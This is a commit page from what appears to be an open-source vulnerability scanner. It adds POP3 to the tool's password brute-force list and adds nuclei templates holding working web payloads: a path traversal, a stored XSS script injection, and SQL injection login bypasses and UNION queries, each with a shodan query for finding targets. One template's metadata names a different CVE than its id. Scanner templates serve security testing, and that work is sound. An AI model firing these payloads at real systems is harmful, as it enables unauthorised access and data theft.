Skip to content

Commit bad7822

Browse files
hktalenthktalent
authored
Merge pull request #65 from hktalent/dev
Dev
2 parents 810022b + 539a4b5 commit bad7822

24 files changed

+469
-18
lines changed

‎README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects.
2121
In principle, do not repeat the wheel, unless there are bugs, problems
2222
- Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.
23-
- Support [20] password blasting, support custom dictionary, open by "priorityNmap": true
23+
- Support [21] password blasting, support custom dictionary, open by "priorityNmap": true
2424
* RDP
2525
* SSH
2626
* rsh-spx
@@ -41,6 +41,7 @@
4141
* Tomcat
4242
* Jboss
4343
* Winrm(wsman)
44+
* POP3
4445
- By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention
4546
- Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan
4647
Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results

‎README_CN.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ Vulnerabilities Scan；15000+PoC漏洞扫描；20种应用密码爆破；7000+We
2020
并对这些集成的项目进行代码级别优化、参数优化，个别模块,如 vscan filefuzz部分进行了重写
2121
原则上不重复造轮子，除非存在bug、问题
2222
- 跨平台：基于golang实现，轻量级、高度可定制、开源，支持Linux、windows、mac os等
23-
- 支持【20】种密码爆破，支持自定义字典, 通过 "priorityNmap": true 开启
23+
- 支持【21】种密码爆破，支持自定义字典, 通过 "priorityNmap": true 开启
2424
* RDP
2525
* SSH
2626
* rsh-spx
@@ -41,6 +41,7 @@ Vulnerabilities Scan；15000+PoC漏洞扫描；20种应用密码爆破；7000+We
4141
* Tomcat
4242
* Jboss
4343
* Winrm(wsman)
44+
* POP3
4445
- 默认开启http密码智能爆破，需要 HTTP 密码时才会自动启动，无需人工干预
4546
- 检测系统是否存在 nmap ，存在通过 priorityNmap=true 启用 nmap 进行快速扫描，默认开启，优化过的 nmap 参数比 masscan 快
4647
使用 nmap 的弊端：网络不好的是否，因为流量网络包过大可能会导致结果不全

‎config/nuclei-templates/cves/2019/CVE-2019-10717.yaml

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
id: CVE-2019-10717
2+
3+
info:
4+
name: BlogEngine.NET 3.3.7.0 - Directory Traversal
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
BlogEngine.NET 3.3.7.0 allows /api/filemanager Directory Traversal via the path parameter
9+
reference:
10+
- https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
11+
- https://nvd.nist.gov/vuln/detail/CVE-2019-10717
12+
- https://github.com/rxtur/BlogEngine.NET/commits/master
13+
classification:
14+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
15+
cvss-score: 7.1
16+
cve-id: CVE-2019-10717
17+
cwe-id: CWE-22
18+
metadata:
19+
shodan-query: http.html:"Blogengine.net"
20+
verified: "true"
21+
tags: cve,cve2019,blogengine,lfi,traversal
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"
27+
28+
matchers-condition: and
29+
matchers:
30+
- type: regex
31+
regex:
32+
- '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'
33+
34+
- type: word
35+
part: header
36+
words:
37+
- "application/json"
38+
39+
- type: status
40+
status:
41+
- 200

‎config/nuclei-templates/cves/2019/CVE-2019-11370.yaml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
id: CVE-2019-11370
2+
3+
info:
4+
name: Carel pCOWeb < B1.2.4 - Cross-Site Scripting
5+
author: arafatansari
6+
severity: medium
7+
description: |
8+
Stored XSS was discovered in Carel pCOWeb prior to B1.2.4, as demonstrated by the config/pw_snmp.html "System contact" field.
9+
reference:
10+
- https://www.exploit-db.com/exploits/46897
11+
- https://github.com/nepenthe0320/cve_poc/blob/master/CVE-2019-11370
12+
- https://nvd.nist.gov/vuln/detail/CVE-2019-11370
13+
classification:
14+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
15+
cvss-score: 5.4
16+
cve-id: CVE-2019-11370
17+
cwe-id: CWE-79
18+
metadata:
19+
shodan-query: http.html:"pCOWeb"
20+
verified: "true"
21+
tags: cve,cve2019,pcoweb,xss,carel
22+
23+
requests:
24+
- raw:
25+
- |
26+
POST /config/pw_snmp_done.html HTTP/1.1
27+
Host: {{Hostname}}
28+
Content-Type: application/x-www-form-urlencoded
29+
30+
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
31+
32+
- |
33+
GET /config/pw_snmp.html HTTP/1.1
34+
Host: {{Hostname}}
35+
36+
req-condition: true
37+
matchers:
38+
- type: dsl
39+
dsl:
40+
- 'contains(body_2, "text/html")'
41+
- status_code_2 == 200
42+
- contains(body_2, 'value=\"\"><script>alert(document.domain)</script>\"></td>')
43+
condition: and

‎config/nuclei-templates/cves/2022/CVE-2022-32022.yaml

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
id: CVE-2022-32022
2+
3+
info:
4+
name: Car Rental Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/ajax.php?action=login.
9+
reference:
10+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32022
12+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md.
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
15+
cvss-score: 7.2
16+
cve-id: CVE-2022-32022
17+
cwe-id: CWE-89
18+
metadata:
19+
shodan-query: http.html:"Car Rental Management System"
20+
verified: "true"
21+
tags: cve,cve2022,carrental,cms,sqli,login-bypass
22+
23+
requests:
24+
- raw:
25+
- |
26+
POST /admin/ajax.php?action=login HTTP/1.1
27+
Host: {{Hostname}}
28+
Content-Type: application/x-www-form-urlencoded
29+
30+
username=admin'+or+'1'%3D'1'%23&password=admin
31+
32+
- |
33+
GET /admin/index.php?page=home HTTP/1.1
34+
Host: {{Hostname}}
35+
36+
cookie-reuse: true
37+
matchers-condition: and
38+
matchers:
39+
- type: word
40+
part: body
41+
words:
42+
- 'Welcome back Administrator!'
43+
- 'action=logout'
44+
- 'Manage Account'
45+
condition: and
46+
47+
- type: status
48+
status:
49+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32024.yaml

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
id: CVE-2022-32024
2+
3+
info:
4+
name: Car Rental Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=.
9+
reference:
10+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32024
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 7.2
15+
cve-id: CVE-2022-32024
16+
cwe-id: CWE-89
17+
metadata:
18+
comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
19+
shodan-query: http.html:"Car Rental Management System"
20+
verified: "true"
21+
tags: cve,cve2022,carrental,cms,sqli,authenticated
22+
23+
variables:
24+
num: "999999999"
25+
26+
requests:
27+
- raw:
28+
- |
29+
POST /admin/ajax.php?action=login HTTP/1.1
30+
Host: {{Hostname}}
31+
Content-Type: application/x-www-form-urlencoded
32+
33+
username={{username}}&password={{password}}
34+
35+
- |
36+
GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
37+
Host: {{Hostname}}
38+
39+
skip-variables-check: true
40+
cookie-reuse: true
41+
matchers-condition: and
42+
matchers:
43+
- type: word
44+
part: body
45+
words:
46+
- '{{md5({{num}})}}'
47+
48+
- type: status
49+
status:
50+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32025.yaml

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
id: CVE-2022-32025
2+
3+
info:
4+
name: Car Rental Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/view_car.php?id=.
9+
reference:
10+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-6.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32025
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 7.2
15+
cve-id: CVE-2022-32025
16+
cwe-id: CWE-89
17+
metadata:
18+
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
19+
shodan-query: http.html:"Car Rental Management System"
20+
verified: "true"
21+
tags: cve,cve2022,carrental,cms,sqli,authenticated
22+
23+
variables:
24+
num: "999999999"
25+
26+
requests:
27+
- raw:
28+
- |
29+
POST /admin/ajax.php?action=login HTTP/1.1
30+
Host: {{Hostname}}
31+
Content-Type: application/x-www-form-urlencoded
32+
33+
username={{username}}%23&password={{password}}
34+
35+
- |
36+
GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
37+
Host: {{Hostname}}
38+
39+
skip-variables-check: true
40+
redirects: true
41+
max-redirects: 2
42+
cookie-reuse: true
43+
matchers-condition: and
44+
matchers:
45+
- type: word
46+
part: body
47+
words:
48+
- '{{md5({{num}})}}'
49+
50+
- type: status
51+
status:
52+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32026.yaml

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
id: CVE-2022-32026
2+
3+
info:
4+
name: Car Rental Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=.
9+
reference:
10+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32028
12+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-5.md
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
15+
cvss-score: 7.2
16+
cve-id: CVE-2022-32028
17+
cwe-id: CWE-89
18+
metadata:
19+
comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
20+
shodan-query: http.html:"Car Rental Management System"
21+
verified: "true"
22+
tags: cve,cve2022,carrental,cms,sqli,authenticated
23+
24+
variables:
25+
num: "999999999"
26+
27+
requests:
28+
- raw:
29+
- |
30+
POST /admin/ajax.php?action=login HTTP/1.1
31+
Host: {{Hostname}}
32+
Content-Type: application/x-www-form-urlencoded
33+
34+
username={{username}}&password={{password}}
35+
36+
- |
37+
GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
38+
Host: {{Hostname}}
39+
40+
skip-variables-check: true
41+
redirects: true
42+
max-redirects: 2
43+
cookie-reuse: true
44+
matchers-condition: and
45+
matchers:
46+
- type: word
47+
part: body
48+
words:
49+
- '{{md5({{num}})}}'
50+
51+
- type: status
52+
status:
53+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32028.yaml

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
id: CVE-2022-32028
2+
3+
info:
4+
name: Car Rental Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=.
9+
reference:
10+
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32028
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 7.2
15+
cve-id: CVE-2022-32028
16+
cwe-id: CWE-89
17+
metadata:
18+
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
19+
shodan-query: http.html:"Car Rental Management System"
20+
verified: "true"
21+
tags: cve,cve2022,carrental,cms,sqli,authenticated
22+
23+
variables:
24+
num: "999999999"
25+
26+
requests:
27+
- raw:
28+
- |
29+
POST /admin/ajax.php?action=login HTTP/1.1
30+
Host: {{Hostname}}
31+
Content-Type: application/x-www-form-urlencoded
32+
33+
username={{username}}&password={{password}}
34+
35+
- |
36+
GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
37+
Host: {{Hostname}}
38+
39+
skip-variables-check: true
40+
redirects: true
41+
max-redirects: 2
42+
cookie-reuse: true
43+
matchers-condition: and
44+
matchers:
45+
- type: word
46+
part: body
47+
words:
48+
- '{{md5({{num}})}}'
49+
50+
- type: status
51+
status:
52+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-34046.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ info:
99
reference:
1010
- https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
1111
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
12+
- http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
1213
classification:
1314
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1415
cvss-score: 7.5

‎config/nuclei-templates/cves/2022/CVE-2022-34047.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ info:
99
reference:
1010
- https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
1111
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
12+
- http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
1213
classification:
1314
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1415
cvss-score: 7.5

0 commit comments

Comments
 (0)